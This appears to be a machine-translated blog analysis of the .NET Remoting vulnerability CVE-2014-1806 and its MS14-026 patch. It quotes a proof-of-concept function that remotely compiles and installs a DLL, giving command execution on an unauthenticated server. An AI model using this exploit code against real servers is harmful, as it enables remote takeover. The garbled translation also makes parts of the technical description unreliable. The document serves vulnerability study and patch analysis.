Cssembly · 2014/11/24 12:02

0 x00 profile


Microsoft.NET Remoting is a distributed approach that provides a framework for allowing objects to interact with another object through an application domain. A few days ago James Forshaw released cVE-2014-1806.NET Remoting Services vulnerability exploit and took some time to do a simple debugging analysis.

Install the one that contains the bug first. NET Framework V4.0.30319, execute POC code, you can see the execution is successful.

0 x01 analysis


Analyzing the POC code, you can see the following code CreateRemoteClass, where the MakeCall template function builds the request data sent to the server from the parameter information and gets the server execution result. The static object SendRequest(Object O, bool remote) function completes the object serialization, protocol packet construction and transmission, and the analysis of the execution result.

For example, MakeCall(_uri.absolutePath, GetStaticMethod(Typeof (Path), “GetTempPath”)) is used to call the GetTempPath method of the Path object in the remote server and return the execution result. The code in the Poc is used to upload and compile RemoteClass. Cs, IRemoteClass. Cs, InstallClass. Finally create the object entity of IRemoteClass. Once you have the IRemoteClass object, you can call its methods to execute any command.

#! java private static IRemoteClass CreateRemoteClass() { if (_useser) { return new SerializerRemoteClass(); } else { string path; if (_uri.Scheme ! = "ipc") { IRemoteClass ret = GetExistingRemoteClass(); try { ret.ToString(); return ret; } catch (RemotingException) { } path = MakeCall<string>(_uri.AbsolutePath, GetStaticMethod(typeof(Path), "GetTempPath")); path = Path.Combine(path, "Installer.dll"); CodeDomProvider compiler = MakeCall<CodeDomProvider>(_uri.AbsolutePath, GetCreateInstance<CSharpCodeProvider>()); string uri = RemotingServices.GetObjectUri(compiler); CompilerParameters cp = new CompilerParameters(); cp.ReferencedAssemblies.Add("System.dll"); cp.ReferencedAssemblies.Add("System.Configuration.Install.dll"); cp.OutputAssembly = path; cp.GenerateInMemory = false; cp.GenerateExecutable = false; string code = GetResource("RemoteClass.cs"); string intf = GetResource("IRemoteClass.cs"); string inst = GetResource("InstallClass.cs"); CompilerResults res = MakeCall<CompilerResults>(uri,new FakeMethod(typeof(CodeDomProvider).GetMethod("CompileAssemblyFromSource"), _ver), cp, new string[] { code, intf, inst }); } else { path = typeof(IRemoteClass).Assembly.Location; } try { AssemblyInstaller installer = MakeCall<AssemblyInstaller>(_uri.AbsolutePath, GetCreateInstance<AssemblyInstaller>()); installer.Path = path; installer.CommandLine = new string[] { "/name=" + _remotename }; installer.UseNewContext = true; installer.Install(new Hashtable()); } catch { // In the IPC case this might fail // Just continue on with the creation of the remote class and see if we're lucky } return GetExistingRemoteClass(); }}Copy the code

You can use the WireShark to verify the entire data exchange process, including file uploading. Installer. DLL is generated in the %TEMP% directory on the server.

To understand the flow of data processing on the server side, set a breakpoint on CreateProcessW through Windbg and observe the program’s managed code call stack through the sos.dll extension.

Through the call stack of managed code, combining. .net Reflector on the System. The Runtime. Remoting. DLL were analyzed.

Can see the System. The Runtime. Remoting. Channels. Tcp. TcpServerTransportSink. ServiceRequest method through ITransportHeaders requestHeaders = Handler.readheaders () and Stream requestStream = Handler.getrequestStream () get the protocol header and requested object Stream information.

Then call System. The Runtime. Remoting. Channels. BinaryServerFormatterSink. Intrinsic ProcessMessage method, This method through requestMsg = CoreChannel. DeserializeBinaryRequestMessage (uRI, requestStream, enclosing _strictBinding, Enclosing TypeFilterLevel) to deserialize the request object flow, after successful call the System. The Runtime, Remoting. Channels. DispatchChannelSink. Intrinsic ProcessMessage.

System. The Runtime. Remoting. Channels. DispatchChannelSink. After the simple judgment in intrinsic ProcessMessage, Direct call the ChannelServices. DispatchMessage (sinkStack requestMsg, out responseMsg) distribution of the message.

DispatchMessage is through IsMethodReallyPublic (methodBase) and RemotingServices IsMethodAllowedRemotely (methodBase) determine whether the remote call way Perhaps, if the condition is met, further processing is done and the method is eventually called.

There is no validation of the remote identity, Remoting provides methods to the remote side that can pass CreateInstance On the server to get access to the CodeDomProvider object, through the CodeDomProvider CompileAssemblyFromSource method to compile the source code, install the Installer. DLL, finally create IRemoteClass class object to execute the command.

0x02 About Patches


Microsoft security bulletin MS14-026 mentions that security updates to this vulnerability address the vulnerability by helping to ensure that the.NET Framework properly enforces security controls for application memory, using workarounds that allow only authenticated clients to interact with vulnerable servers.

Windows 7 SP1 ndP40-KB2931365-x86. exe Contrast before and after the patch of the System. The Runtime. Remoting. DLL System. The Runtime, Remoting. Channels. BinaryServerFormatterSink. Intrinsic ProcessMessage method, You can see the extra code in the figure below.

Poc code before execution, will find that the server throws an exception, due to the value of false allowTransparentProxyMessageValue, lead to the message will not be processed further, and security bulletins described in the agreement. If allowTransparentProxyMessageValue value is true, application process and not the same while patching.